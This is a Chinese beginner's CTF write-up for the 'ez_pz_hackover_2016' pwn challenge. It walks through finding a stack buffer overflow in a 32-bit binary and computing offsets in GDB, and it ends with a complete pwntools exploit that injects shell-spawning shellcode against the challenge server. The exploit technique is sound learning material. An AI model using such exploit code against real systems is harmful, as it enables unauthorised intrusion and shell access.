看着其他师傅的wp(这篇)总算弄懂了这个题,算得上是本人入门以来做出的第一个题吧,记录一下自己的思路和理解。就是IDA和GDB不熟练,一边用着搜索引擎一边摸索虽然慢但是挺有趣的。
先看看是几位的程序,开了什么保护。
发现是32位的,几乎没开什么保护。扔到IDA里面看看源码。
header里面就是一堆没用的printf,看看chall()函数。
一开始输出了s的地址,然后往s里面写不超过1023字节的字符串,接着拿s与"crashme"做比较,如果一样的话,进入vuln()函数:
由于n传进去的值有0x400,在这里可以发生栈溢出。
所以理清思路,我们在栈上注入shellcode,然后栈溢出控制程序执行注入的shellcode。
用GDB调试,没学过python有点手生,借鉴了别人写的调试的代码:
from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'
gdb.attach(p,'b *0x8048600') #在vuln函数末尾的nop处下断点
p.recvuntil('crash: ')
stack=int(p.recv(10),16) #保存一下s的地址等会儿要用到
print hex(stack)
payload='crashme\x00'+'picasso' #memcpy识别'\0'做为结束标志,而fgets会把输入的换行保留下来,所以这里在crashme后面加\x00,再随便加一个字符串看看它的位置
p.sendline(payload)
pause()
进入gdb后,输入c到断点的位置,我们主要分析现在的栈结构:
看的到"ashme",“cr"在前面,它们的ascii码是63和72,所以是从0xff91b612开始的,返回地址存在0xff91b62c的地址里(ebp下面),所以要覆盖0x2c-0x12=0x1a字节,其中有8个字节是"crashme\x00”,所以减个8,那么ROP的payload是:
payload = "crashme\x00"+'a'*(0x2c-0x12-8)+p32(address)+shellcode
address是我们的要导向的地址,也就是栈溢出覆盖后返回地址的下面,看上面的栈结构,0xff91b62c是返回地址,那么shellcode的地址是0xff91b630。
调试时获得了s的地址0xff91b64c,保存在了stack变量中,那么shellcode的地址在0xff91b630也就是s上面0xff91b64c-0xff91b630=0x1c的位置,即address=stack-0x1c。
所以写出完整的exp:
from pwn import *
p=remote('node3.buuoj.cn',29711)
context.log_level='debug'
p.recvuntil('crash: ')
stack=int(p.recv(10),16)
shellcode=asm(shellcraft.sh())
address=stack-0x1c
payload='crashme\x00'+'a'*(0x2c-0x12-8)+p32(address)+shellcode
p.sendline(payload)
p.interactive()
运行拿到shell获得flag: